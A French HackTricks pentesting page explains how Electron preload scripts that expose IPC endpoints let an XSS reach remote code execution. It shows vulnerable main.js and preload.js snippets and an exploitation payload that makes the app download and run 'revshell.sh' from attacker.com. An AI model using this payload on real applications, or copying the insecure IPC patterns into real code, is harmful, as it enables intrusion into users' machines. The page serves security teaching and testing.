hacktricks/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !

- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)

- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)

- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

</details>


Si le script de préchargement expose un point de terminaison IPC à partir du fichier main.js, le processus de rendu pourra y accéder et, s'il est vulnérable, une RCE pourrait être possible.

**Tous ces exemples ont été pris ici** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)

# Exemple 1

Vérifiez comment `main.js` écoute `getUpdate` et **télécharge et exécute n'importe quelle URL** passée.\
Vérifiez également comment `preload.js` **expose tout événement IPC** de main.
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
	console.log('getUpdate: ' + url)
	mainWindow.webContents.downloadURL(url)
	mainWindow.download_url = url
});
  
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
	console.log('downloads path=' + app.getPath('downloads'))
	console.log('mainWindow.download_url=' + mainWindow.download_url);
	url_parts = mainWindow.download_url.split('/')
	filename = url_parts[url_parts.length-1]
	mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
	console.log('downloadPath=' + mainWindow.downloadPath)
	// Set the save path, making Electron not to prompt a save dialog.
	item.setSavePath(mainWindow.downloadPath)

	item.on('updated', (event, state) => {
		if (state === 'interrupted') {
			console.log('Download is interrupted but can be resumed')
		}
		else if (state === 'progressing') {
			if (item.isPaused()) console.log('Download is paused')
			else console.log(`Received bytes: ${item.getReceivedBytes()}`)
		}
	})

	item.once('done', (event, state) => {
		if (state === 'completed') {
			console.log('Download successful, running update')
			fs.chmodSync(mainWindow.downloadPath, 0755);
			var child = require('child_process').execFile;
			child(mainWindow.downloadPath, function(err, data) {
				if (err) { console.error(err); return; }
				console.log(data.toString());
			});
      			}
		else console.log(`Download failed: ${state}`)
	})
}) 
```

```javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
	ipcRenderer.send(event, data);
};
```
Exploitation :
```html
<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>
```
# Exemple 2

Si le script de préchargement expose directement au rendu une façon d'appeler shell.openExternal, il est possible d'obtenir une RCE.
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
	shell.openExternal(url);
};
```
# Exemple 3

Si le script de préchargement expose des moyens de communiquer complètement avec le processus principal, une XSS pourra envoyer n'importe quel événement. L'impact de cela dépend de ce que le processus principal expose en termes d'IPC.
```javascript
window.electronListen = (event, cb) => {
	ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
	ipcRenderer.send(event, data);
};
```
<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !

- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)

- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)

- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

</details>